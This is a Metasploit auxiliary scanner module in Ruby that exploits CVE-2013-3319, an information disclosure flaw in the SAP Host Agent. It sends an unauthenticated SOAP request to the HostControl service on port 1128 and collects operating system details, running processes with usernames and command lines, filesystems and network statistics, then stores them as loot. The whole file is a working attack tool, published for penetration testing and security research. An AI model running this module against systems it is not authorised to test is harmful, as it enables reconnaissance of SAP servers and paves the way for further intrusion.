##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'SAP Host Agent Information Disclosure',
      'Description' => %q{
        This module attempts to retrieve computer and operating system
        information from Host Agent through the SAP HostControl service.
        },
      'References' => [
        ['CVE', '2013-3319'],
        ['OSVDB', '95616'],
        ['BID', '61402'],
        ['URL', 'https://launchpad.support.sap.com/#/notes/1816536'],
        ['URL', 'https://labs.integrity.pt/advisories/cve-2013-3319/']
      ],
      'Author' => [
        'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module
      ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => []
      }
    )

    register_options(
      [
        Opt::RPORT(1128)
      ]
    )

    register_autofilter_ports([1128])
  end

  def initialize_tables
    @computer_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'Remote Computer Listing',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          'Names',
          'Hostnames',
          'IPAddresses'
        ]
    )

    @os_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'Remote OS Listing',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          'Name',
          'Type',
          'Version',
          'TotalMemSize',
          'Load Avg 1m',
          'Load Avg 5m',
          'Load Avg 15m',
          'CPUs',
          'CPU User',
          'CPU Sys',
          'CPU Idle'
        ]
    )
    @net_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'Network Port Listing',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          'ID',
          'PacketsIn',
          'PacketsOut',
          'ErrorsIn',
          'ErrorsOut',
          'Collisions'
        ]
    )

    @process_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'Remote Process Listing',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          'Name',
          'PID',
          'Username',
          'Priority',
          'Size',
          'Pages',
          'CPU',
          'CPU Time',
          'Command'
        ]
    )

    @fs_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'Remote Filesystem Listing',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          'Name',
          'Size',
          'Available',
          'Remote'
        ]
    )

    @net_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'Network Port Listing',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          'ID',
          'PacketsIn',
          'PacketsOut',
          'ErrorsIn',
          'ErrorsOut',
          'Collisions'
        ]
    )
  end

  # Parses an array of mProperties elements. For every mProperties element,
  # if there is an item with mValue ITSAMComputerSystem, then collect the
  # values for the items with mName in (Name, Hostnames, IPAdresses)
  def parse_computer_info(data)
    success = false
    data.each do |properties|
      name, hostnames, addresses = ''

      if properties.get_elements('item//mValue[text()="ITSAMComputerSystem"]').empty?
        next
      end

      item_list = properties.get_elements('item')
      item_list.each do |item|
        item_name = item.get_elements('mName').first.text
        item_value = item.get_elements('mValue').first.text

        case item_name
        when 'Name'
          name = item_value
        when 'Hostnames'
          hostnames = item_value
        when 'IPAdresses'
          addresses = item_value
        end
      end

      @computer_table << [name, hostnames, addresses]

      success = true
    end

    return success
  end

  # Get the mValues of every item
  def parse_values(data, ignore)
    values = []

    item_list = data.get_elements('item')
    item_list.each do |item|
      value_item = item.get_elements('mValue')

      if value_item.empty?
        value = ''
      else
        value = value_item.first.text
      end

      if value == ignore
        next
      end

      values << value
    end
    return values
  end

  # Parses an array of mProperties elements and get the interesting info
  # including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and
  # ITSAMNetworkPort properties.
  def parse_detailed_info(data)
    data.each do |properties|
      if !properties.get_elements('item//mValue[text()="ITSAMOperatingSystem"]').empty?
        values = parse_values(properties, 'ITSAMOperatingSystem')
        parse_os_info(values)
      end

      if !properties.get_elements('item//mValue[text()="ITSAMOSProcess"]').empty?
        values = parse_values(properties, 'ITSAMOSProcess')
        parse_process_info(values)
      end

      if !properties.get_elements('item//mValue[text()="ITSAMFileSystem"]').empty?
        values = parse_values(properties, 'ITSAMFileSystem')
        parse_fs_info(values)
      end

      if !properties.get_elements('item//mValue[text()="ITSAMNetworkPort"]').empty?
        values = parse_values(properties, 'ITSAMNetworkPort')
        parse_net_info(values)
      end
    end
  end

  def parse_os_info(os_info)
    @os_table << [
      os_info[0],      # OS name
      os_info[1],      # OS type
      os_info[2],      # OS Version
      os_info[7],      # Total Memory
      os_info[11],     # Load Average (1m)
      os_info[12],     # Load Average (5m)
      os_info[13],     # Load Average (15m)
      os_info[17],     # Number of CPUs / Cores
      os_info[18] + '%', # CPU usage (User)
      os_info[19] + '%', # CPU usage (system)
      os_info[20] + '%'  # CPU idle
    ]
  end

  def parse_process_info(process_info)
    @process_table << [
      process_info[0],     # Process name
      process_info[1],     # PID
      process_info[2],     # Username
      process_info[3],     # Priority
      process_info[4],     # Mem size
      process_info[5],     # pages
      process_info[6] + '%', # CPU usage
      process_info[7],     # CPU time
      process_info[8]      # Command
    ]
  end

  def parse_fs_info(fs_info)
    @fs_table << [
      fs_info[0],  # Filesystem Name
      fs_info[2],  # Size
      fs_info[3],  # Space Available
      fs_info[6]   # Is the filesystem remote ?
    ]
  end

  def parse_net_info(net_info)
    @net_table << [
      net_info[0], # Network Device ID
      net_info[1], # Packets In
      net_info[2], # Packets Out
      net_info[3], # Errors In
      net_info[4], # Errors Out
      net_info[5]  # Collisions
    ]
  end

  def run_host(rhost)
    vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")

    data = '<?xml version="1.0" encoding="utf-8"?>'
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
    data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
    data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
    data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
    data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
    data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
    data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"

    begin
      res = send_request_raw(
        {
          'uri' => '/',
          'method' => 'POST',
          'data' => data,
          'headers' => {
            'Content-Type' => 'text/xml; charset=UTF-8'
          }
        }
      )
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Unable to connect to service")
      return
    end

    if res && (res.code == 500) && res.body =~ %r{<faultstring>(.*)</faultstring>}i
      faultcode = ::Regexp.last_match(1).strip
      vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
      return

    elsif res && (res.code != 200)
      vprint_error("#{rhost}:#{rport} - Error in response")
      return
    end

    initialize_tables

    vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")

    begin
      response_xml = REXML::Document.new(res.body)
      computer_info = response_xml.elements.to_a('//mProperties/') # Computer info
      detailed_info = response_xml.elements.to_a('//item/mProperties/') # all other info
    rescue StandardError
      print_error("#{rhost}:#{rport} - Unable to parse XML response")
      return
    end

    success = parse_computer_info(computer_info)
    if success
      print_good("#{rhost}:#{rport} - Information retrieved successfully")
    else
      print_error("#{rhost}:#{rport} - Unable to parse reply")
      return
    end

    # assume that if we can parse the first part, it is a valid SAP XML response
    parse_detailed_info(detailed_info)

    sap_tables_clean = ''

    [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
      sap_tables_clean << t.to_s
    end

    vprint_good("#{rhost}:#{rport} - Information retrieved:\n" + sap_tables_clean)

    xml_raw = store_loot(
      'sap.getcomputersystem',
      'text/xml',
      rhost,
      res.body,
      'sap_getcomputersystem.xml',
      'SAP GetComputerSystem XML'
    )

    xml_parsed = store_loot(
      'sap.getcomputersystem',
      'text/plain',
      rhost,
      sap_tables_clean,
      'sap_getcomputersystem.txt',
      'SAP GetComputerSystem XML'
    )

    print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
  end
end
